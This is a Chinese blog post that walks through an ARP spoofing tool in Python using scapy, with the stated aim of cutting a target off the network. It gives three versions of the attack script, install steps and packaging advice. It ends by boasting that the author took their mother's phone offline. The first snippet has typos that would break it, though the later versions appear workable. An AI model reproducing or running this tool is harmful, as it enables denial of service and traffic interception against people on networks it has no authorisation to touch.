python实现arpspoof的arp欺骗,使目标断网

前言

最近安装了scapy这个库,感觉 到 了它的强大
首先你需要Npacp,Winpcap运行时有问题
然后安装所有依赖,pip install --pre scapy[complete]
这个我最推荐,这个可以安装 所有的依赖,直接安装scapy会出不少的问题,但Npcap是必须的,如果安装wireshark或Nmap的不用了

初级代码(demo.py)

from optparse import OptionParser 
from scapy.all import *
def arp_spoof(target,getway):
    while True:
        try:
            pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway)
            sendp(pkt)
            print('[*] Target:['+target+'] Getway:['+getway+'].')
            time.sleep(0.7)
        except KeyboardInterrupt:
            print('[-]stop by user')
            break
target='192.168.0.*'
gwtway='192.168.0.1'
arps_poof(target,getway)

target是你的目标ip,getway是网关ip,这个getway是百度上搜的,应该是网关吧。。。

工具集版本(demoplus.py)

如果需要自己的工具集的话,每次换参数可不行
很简单,该出input()即可。

from optparse import OptionParser 
from scapy.all import *
def arp_spoof(target,getway):
    while True:
        try:
            pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway)
            sendp(pkt)
            print('[*] Target:['+target+'] Getway:['+getway+'].')
            time.sleep(0.7)
        except KeyboardInterrupt:
            print('[-]stop by user')
            break
target=input('target>')
getway=input('getway>')
arp_spoof(target,getway)

这样就行了

命令行版本(arpspoof.py)

有时候直接来会更快,命令行很重要

from optparse import OptionParser 
from scapy.all import *
def arp_spoof(target,getway):
    while True:
        try:
            pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway)
            sendp(pkt)
            print('[*] Target:['+target+'] Getway:['+getway+'].')
            time.sleep(0.7)
        except KeyboardInterrupt:
            print('[-]stop by user')
            break
if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option('-t','--target',dest='target',default=False,help='IP adress of your target')
    parser.add_option('-g','--getway',dest='getway',default=False,help='IP adress of getway')
    options, args = parser.parse_args()
    arp_spoof(options.target,options.getway)

只要输入python arpspoof.py -t <目标> -g <网关>
这里文件名也可以不是arpspoof.py
但是最好打包一下,pyinstaller就可以,但你还不能直接用,还要打开相应目录,我们只要把他放在C:/用户/<用户名>/ 这里才行,直接运行即可。

具体效果

在我的努力下,我妈手机打不开网页了,行了,又要去医院了
看着一行行的消息print出来,内心很欣慰

你可能感兴趣的:(笔记)